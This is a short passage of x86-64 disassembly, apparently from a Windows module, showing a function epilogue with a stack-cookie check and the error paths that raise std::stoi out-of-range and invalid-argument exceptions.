add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800297d0
call fcn.1800670f8
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180067630
mov rbx, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x80]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
lea rcx, str.stoi_argument_out_of_range
call fcn.180041c1c
int3
lea rcx, str.stoi_argument_out_of_range
call fcn.180041c1c
int3
lea rcx, str.invalid_stoi_argument
call fcn.180041bd4
int3
lea rcx, str.invalid_stoi_argument
call fcn.180041bd4
nop
call fcn.18008a97c
int3